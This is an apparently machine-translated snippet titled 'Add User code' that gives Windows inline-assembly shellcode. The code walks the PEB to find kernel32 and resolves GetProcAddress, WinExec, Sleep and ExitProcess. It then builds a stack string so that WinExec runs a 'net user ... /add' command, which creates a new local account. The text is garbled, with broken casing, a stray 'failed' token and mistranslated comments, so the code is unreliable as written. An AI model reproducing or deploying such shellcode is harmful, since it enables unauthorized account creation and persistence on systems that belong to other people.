Add User code

# Include <windows. h> int main () {_ ASM {push EBP sub ESP, 0x40; MoV EBP, esp; push EBP mov eax, FS: 0x30; peb mov eax, [eax + 0x0c]; LDR mov ESI, [eax + 0x1c]; flink lodsd mov EDI, [eax + 0x08]; EDI = kernel32.dll mov eax, [EDI + 3ch]; eax = PE Header mov edX, [EDI + eax + 78 H] add edX, EDI; edX = output table address mov ECx, [edX + 18 h]; ECx = number of output functions mov EBX, [edX + 20 h] add EBX, EDI; EBX = function name search: Dec ECx mov ESI, [EBX + ECx * 4] add ESI, EDI; find each function name in sequence; getprocaddress mov eax, 0x50746547 CMP [esi], eax; 'pteg' JNE search mov eax, 0x41636f72 CMP [ESI + 4], eax; 'acl' JNE search; If getproca is used, mov EBX, [edX + 24 h] add EBX, EDI are found; EBX = index number: mov CX, [EBX + ECx * 2]; ECx = calculated index number: mov EBX, [edX + 1ch] add EBX, EDI; EBX = start position of the function address mov eax, [EBX + ECx * 4] add eax, EDI; Use the index value to calculate getprocaddress mov [EBP + 40 h], eax; getprocaddress address = EBP + 40 push dword ptr 0x00636578; // construct winexec push dword ptr 0x456e6957 push ESP push EDI call [EBP + 40 h]; // execute getprocaddress mov [EBP + 8 h], eax; // store the winexec address to [EBP + 8 h] Push dword ptr 0x00000070; // construct sleep push dword ptr 0x65656c53; push ESP push EDI call [EBP + 40 h]; // execute getprocaddress mov [EBP + 12 h], eax; // store the sleep address to [EBP + 12 h] Push dword ptr 0x00737365; // construct exitprocess push dword ptr 0x636f7250 push dword ptr 0x74697845 push ESP push EDI call [EBP + 40 h]; // execute getprocaddress mov [EBP + 16 h], eax; // push 0 push dword ptr 0x00646461; add push dword ptr 0x2f20776f; ow/push dword ptr 0x6e736e69; insn push dword ptr 0x786e696c; Linx push dword ptr failed; now push dword ptr 0x736e6978; Xins push dword ptr 0x6e696c20; Lin push dword ptr 0x72657375; user push dword ptr 0x2074656e; net push ESP call [EBP + 8 h] Push 0; exitprocess call [EBP + 16 h]; // The last time you call exitprocess, exit directly to prevent exceptions} return 0 ;}